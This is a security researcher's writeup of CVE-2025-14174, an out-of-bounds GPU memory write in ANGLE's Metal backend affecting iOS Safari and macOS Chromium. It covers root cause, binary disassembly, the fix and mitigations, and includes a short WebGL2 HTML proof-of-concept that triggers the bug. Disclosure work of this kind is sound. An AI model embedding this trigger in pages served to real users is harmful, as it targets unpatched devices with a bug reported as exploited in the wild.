CVE-2025-14174分析:ANGLE Metal暂存缓冲区越界写入漏洞
该漏洞(CVE-2025-14174)存在于ANGLE的Metal后端中,导致深度纹理上传时发生GPU内存溢写。受影响平台包括iOS Safari、macOS Chrome/Chromium/Electron。攻击者可利用此漏洞进行定向攻击。已通过更新ANGLE修复该问题。 2026-1-3 03:13:0 Author: github.com(查看原文) 阅读量:0 收藏

Technical analysis and proof-of-concept for CVE-2025-14174

CVE CVE-2025-14174
Severity High
Exploited ITW Yes - targeted attacks on iOS < 26
Affected iOS Safari, macOS Chrome/Chromium/Electron (not macOS Safari)
Status Patched in ANGLE commit 95a32cb
Credit Apple, Google Threat Analysis Group

In-the-Wild Exploitation

According to Apple, CVE-2025-14174 was exploited as part of an "extremely sophisticated attack against specific targeted individuals" on iOS versions before iOS 26.

The attack chain included:

  • CVE-2025-14174 (this writeup) - ANGLE Metal OOB write
  • CVE-2025-43529 (WebKit Bug 302502) - WebKit use-after-free

Table of Contents


Summary

An out-of-bounds (OOB) write vulnerability exists in ANGLE's Metal backend when uploading depth textures via a staging buffer. The staging buffer size is calculated using GL_UNPACK_IMAGE_HEIGHT instead of the actual texture height. When UNPACK_IMAGE_HEIGHT < height, ANGLE allocates an undersized buffer and subsequently writes height rows into it, causing a GPU memory corruption in the renderer process.


Affected Platforms

This vulnerability affects applications using ANGLE's Metal backend for WebGL:

Platform Software Affected Notes
iOS Safari Yes WebKit on iOS uses ANGLE Metal for WebGL
macOS Chrome / Chromium Yes Uses ANGLE Metal backend
macOS Electron apps Yes Uses Chromium's ANGLE implementation
macOS Safari No Uses WebKit's native Metal WebGL, not ANGLE

Platform Details

iOS Safari is affected. On iOS, WebKit uses ANGLE as its WebGL backend, making Safari on iPhone and iPad vulnerable.

macOS Safari is NOT affected. On macOS, Safari uses WebKit's own native WebGL implementation that interfaces directly with Metal, bypassing ANGLE entirely.

macOS Chrome is affected. Google Chrome running on macOS 26.1 appeared vulnerable during testing, as it uses ANGLE's Metal backend for WebGL.

The vulnerable code path exists in ANGLE's TextureMtl class (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


Impact

Severity Description
Confirmed GPU/Metal backend write past end of staging buffer
Confirmed Reproducible via WebGL2 + PBO + DEPTH_COMPONENT32F
Plausible GPU process crash or context loss under memory pressure
Theoretical Cross-resource corruption in GPU memory (not demonstrated)

Key characteristics:

  • The bug is silent in WebGL (typically returns NO_ERROR)
  • No visible rendering artifacts in most cases
  • Metal validation layers may not detect the overflow
  • Potential for GPU-process instability or exploitation depending on heap layout

Root Cause

In the D32F depth texture upload path, ANGLE computes pixelsDepthPitch from GL_UNPACK_IMAGE_HEIGHT and uses this value to size the staging MTLBuffer. However, the subsequent compute dispatch (depth saturation) uses the actual texture height for the operation, causing an OOB write when the parameters differ.

Size Mismatch Example

For width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:

Parameter Calculation Value
Row pitch width * sizeof(float) 4 bytes
Staging buffer (allocated) rowPitch * UNPACK_IMAGE_HEIGHT 512 bytes
Compute dispatch (written) rowPitch * actualHeight 2048 bytes
OOB write 2048 - 512 1536 bytes

Trigger Conditions

All of the following must be true:

  1. WebGL2 context (required for PBO support)
  2. Depth texture format DEPTH_COMPONENT32F (verified; other depth formats may also be affected but are untested)
  3. Pixel Buffer Object (PBO) bound to PIXEL_UNPACK_BUFFER
  4. GL_UNPACK_IMAGE_HEIGHT set to a value less than actual texture height
  5. ANGLE Metal backend active (iOS Safari, or Chrome/Chromium/Electron on macOS)

Why WebGL Doesn't Block This

GL_UNPACK_IMAGE_HEIGHT is defined by the GL spec to affect 3D/array texture uploads, not 2D textures. For TEXTURE_2D:

  • The parameter is accepted but does not participate in WebGL validation
  • WebGL does not reject UNPACK_IMAGE_HEIGHT < height for 2D textures
  • ANGLE incorrectly uses this parameter to size the staging buffer for depth uploads

Technical Analysis

Vulnerable Call Chain

WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

Binary Evidence (iOS 26.1)

Function Address Role
setSubImageImpl 0x272fa9028 Computes undersized depthPitch
setPerSliceSubImage 0x272fac240 Allocates undersized staging buffer
MakeBufferWithStorageMode 0x272ef19bc Creates MTLBuffer with wrong size
SaturateDepth 0x272facfa4 Dispatches compute with actual dimensions
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

Binary Evidence (macOS 26.1)

Function Address Role
setSubImageImpl 0x22c6d10f4 Computes undersized depthPitch
setPerSliceSubImage 0x22c6d4398 Allocates undersized staging buffer
MakeBufferWithStorageMode 0x22c619490 Creates MTLBuffer with wrong size
SaturateDepth 0x22c6d5144 Dispatches compute with actual dimensions
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

The SaturateDepth function subsequently dispatches a Metal compute shader using the actual texture dimensions, writing past the undersized staging buffer.


Proof of Concept

Minimal Trigger (WebGL2)

<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

Expected result on vulnerable systems: gl.getError() returns NO_ERROR despite the OOB write occurring in the GPU process.


The Fix

ANGLE commit 95a32cb corrects the staging buffer allocation to use actual texture dimensions:

// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

Additionally, srcBytesPerImage calculation was fixed for the blit operation:

size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

Detection Notes

This vulnerability is difficult to detect from JavaScript:

  • Staging buffers are internal Metal resources in the GPU process
  • WebGL typically returns NO_ERROR even when the bug is triggered
  • Metal validation layers may not flag the overflow
  • No visible rendering artifacts in most cases
  • Requires instrumentation of Metal API calls or GPU memory debugging

Mitigations

Approach Description
Update Apply platform updates containing the ANGLE fix
Workaround Avoid setting UNPACK_IMAGE_HEIGHT smaller than actual height for depth textures
Defense-in-depth Use fixed-size uploads where UNPACK_IMAGE_HEIGHT == height

References


Credits

Vulnerability Discovery: Apple, Google Threat Analysis Group

Technical Analysis: This writeup documents independent research and reverse engineering of the vulnerability.


Analysis conducted as part of SpiderWebKit security research project.


文章来源: https://github.com/zeroxjf/CVE-2025-14174-analysis
如有侵权请联系:admin#unsafe.sh